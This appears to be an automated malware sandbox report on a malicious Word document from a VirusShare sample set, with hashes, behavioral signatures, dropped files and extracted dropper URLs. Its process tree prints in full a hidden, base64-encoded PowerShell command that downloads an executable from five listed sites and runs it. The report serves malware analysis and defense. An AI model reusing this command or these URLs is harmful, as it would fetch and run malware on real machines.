Overview
overview
10Static
static
10malware_samples.zip
windows11-21h2-x64
1virusshare...87.exe
windows11-21h2-x64
1virusshare...4d.exe
windows11-21h2-x64
5out.exe
windows11-21h2-x64
3virusshare...c9.xls
windows11-21h2-x64
10virusshare...f9.doc
windows11-21h2-x64
10virusshare...30.pdf
windows11-21h2-x64
3virusshare...re.exe
windows11-21h2-x64
1virusshare...8d.exe
windows11-21h2-x64
3virusshare...fa.exe
windows11-21h2-x64
3virusshare...c8.doc
windows11-21h2-x64
10virusshare...03.doc
windows11-21h2-x64
1virusshare...40.pdf
windows11-21h2-x64
3virusshare...ng.apk
windows11-21h2-x64
3virusshare...4e.doc
windows11-21h2-x64
1virusshare...cd.pdf
windows11-21h2-x64
3virusshare...7b.exe
windows11-21h2-x64
10virusshare...82.exe
windows11-21h2-x64
3virusshare...6f.doc
windows11-21h2-x64
10virusshare...ry.apk
windows11-21h2-x64
3virusshare...d2.doc
windows11-21h2-x64
1virusshare...1d.exe
windows11-21h2-x64
Resubmissions
25/04/2025, 03:24
250425-dybpssslt325/04/2025, 03:22
250425-dxdsrssls71013/04/2025, 09:37
250413-lljhwatshw1013/04/2025, 09:33
250413-ljk9patsex10Analysis
- max time kernel
101s - max time network
130s - platform
windows11-21h2_x64 - resource
win11-20250410-en - resource tags
arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system - submitted
25/04/2025, 03:22
Static task
static1
Behavioral task
behavioral1
Sample
malware_samples.zip
Resource
win11-20250410-en
Behavioral task
behavioral2
Sample
virusshare/1/VirusShare_0a2d1ecedf3f79754aa2c18d62e75287.exe
Resource
win11-20250410-en
Behavioral task
behavioral3
Sample
virusshare/1/VirusShare_0aee78510c46e3a200b6bc21ac1c954d.exe
Resource
win11-20250410-en
Behavioral task
behavioral4
Sample
out.exe
Resource
win11-20250410-en
Behavioral task
behavioral5
Sample
virusshare/1/VirusShare_0fea640a7da27f365b3675f73626b9c9.xls
Resource
win11-20250411-en
Behavioral task
behavioral6
Sample
virusshare/1/VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc
Resource
win11-20250410-en
Behavioral task
behavioral7
Sample
virusshare/1/VirusShare_3cd9a967b67fe69351e390195ca7a430.pdf
Resource
win11-20250410-en
Behavioral task
behavioral8
Sample
virusshare/1/malware.exe
Resource
win11-20250410-en
Behavioral task
behavioral9
Sample
virusshare/2/VirusShare_01b55404de50bd1a56343b2f316ff88d.exe
Resource
win11-20250410-en
Behavioral task
behavioral10
Sample
virusshare/2/VirusShare_1ad9a67240d5775395c45b64dd6529fa.exe
Resource
win11-20250410-en
Behavioral task
behavioral11
Sample
virusshare/2/VirusShare_2fe5b00079aec2d8369a798230313ec8.doc
Resource
win11-20250410-en
Behavioral task
behavioral12
Sample
virusshare/2/VirusShare_3f0b1eed4b7b9ae05fab4d949843f103.doc
Resource
win11-20250410-en
Behavioral task
behavioral13
Sample
virusshare/2/VirusShare_480ef02bb062a57724e1b3e14532a140.pdf
Resource
win11-20250410-en
Behavioral task
behavioral14
Sample
virusshare/2/wedding.apk
Resource
win11-20250410-en
Behavioral task
behavioral15
Sample
virusshare/3/VirusShare_3fb34964fa7b8c6bfad8d960380ff04e.doc
Resource
win11-20250410-en
Behavioral task
behavioral16
Sample
virusshare/3/VirusShare_4675e87be15585e66b0c88b833dd9ecd.pdf
Resource
win11-20250410-en
Behavioral task
behavioral17
Sample
virusshare/3/VirusShare_4aa5734fe9c86184f931f4ddaf2d4d7b.exe
Resource
win11-20250410-en
Behavioral task
behavioral18
Sample
virusshare/3/VirusShare_5c8b670c503455baafbff400a446cf82.exe
Resource
win11-20250410-en
Behavioral task
behavioral19
Sample
virusshare/3/VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc
Resource
win11-20250410-en
Behavioral task
behavioral20
Sample
virusshare/3/delivery.apk
Resource
win11-20250410-en
Behavioral task
behavioral21
Sample
virusshare/4/VirusShare_4b8eb7fe75f72c1c5c1f80af9cd165d2.doc
Resource
win11-20250411-en
Behavioral task
behavioral22
Sample
virusshare/4/VirusShare_6d2d7d94fe5faab76b3e786e7d810c1d.exe
Resource
win11-20250410-en
General
- Target virusshare/2/VirusShare_2fe5b00079aec2d8369a798230313ec8.doc
- Size 125KB
- Sample250425-dxdsrssls7
- SHA256 8eb6805a0852b220695175ce81a5b139f1438dc06ea3fc1347b047702880374c
- MD5 2fe5b00079aec2d8369a798230313ec8
- SHA1 e233595a2ee62f6197fcc7d9088fce3505c38ec0
- SHA512 d9b4173274b49d7f041aea1a6866d5cc79530360668299385a10f25597b608308a5cb6502363709a7e09e43d30a1df95e1ab72fcc71852c78b51da016c2bbed7
- SSDEEP 3072:beKgdzSrG8KyIwLx3phgC1s0rPOWfKNR/:beKUzSLnLx3X3O0r2WfKNJ
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
ps1
-
exe.dropper
https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/
-
exe.dropper
https://www.wenkawang.com/data/bofze0s-7ji4-15/
-
exe.dropper
https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/
-
exe.dropper
http://ma.jopedu.com/img/8z8dl-3xn-655019278/
-
exe.dropper
http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1108 684 Powershell.exe 78 - Blocklisted process makes network request 3 IoCs
flow pid Process 10 1108 Powershell.exe 11 1108 Powershell.exe 12 1108 Powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1108 Powershell.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3024 WINWORD.EXE 3024 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1108 Powershell.exe 1108 Powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1108 Powershell.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3024 wrote to memory of 5076 3024 WINWORD.EXE 79 PID 3024 wrote to memory of 5076 3024 WINWORD.EXE 79
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\2\VirusShare_2fe5b00079aec2d8369a798230313ec8.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:5076
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1108
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\306.exe
- Size 418KB
- SHA256 71e53809d4eefe4bf14d9f4f1e9ba73fd72cd410404119120695b1a6839bfb86
- MD5 546fd3c8d325592d5faa28f40fb3adb1
- SHA1 e426866096c0faddffe52014051c1f95bd353911
- SHA512 c1b613a6570ce68b93c32593ee97f8b9238e2d60055b8965f56c45d731a70916cb6a32283d4bf821e878f3d89008b8cc41073543f4df2061e3e31cac9ea85da2
- SSDEEP 6144:aGTEzxdmFgBjdtFwVRudQojR3CaAHrPbw3bi5N0Zey85av+Kj36a9tTFda5TFl2S:Sd+sW
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\4470A7BF.wmf
- Size 444B
- SHA256 79e596d010810f641d2fbd2ac1f22f2bb1a31fa24b250c597d85c8d8bfe9e133
- MD5 f867b565d84a00c05f61c1edf4d0810e
- SHA1 4f5dfb9d36e30bf76d774ec37ba70d6404d774e0
- SHA512 c5d16f7f5dac009eb2239d107ff46b40974da390cd87d036706a832a10460c1faebdecb8677ad55cf31588d09d69b3fd647062083849aba1a7a4130620438233
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\TCDBFB0.tmp\iso690.xsl
- Size 263KB
- SHA256 3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
- MD5 ff0e07eff1333cdf9fc2523d323dd654
- SHA1 77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
- SHA512 b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
- SSDEEP 6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nouj1itb.oq2.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
- Size 3KB
- SHA256 c00a9e052809e258a9d9364152779b3c4d3b69ccc61216cb2280ffa65c941f4e
- MD5 6ce976e9b3ea34b8059612c294f4610c
- SHA1 5dfcbb40a0786e7477ac26b88654d14dea083882
- SHA512 e180ac38b377f965662f872d5bd294d7f013606bb1901e623f8d5ec30a8df02bca8fef572124807bded731eaa2b330d23b3dcaa158e2665eeacaaf20d407da84
- MD5 SHA1 SHA512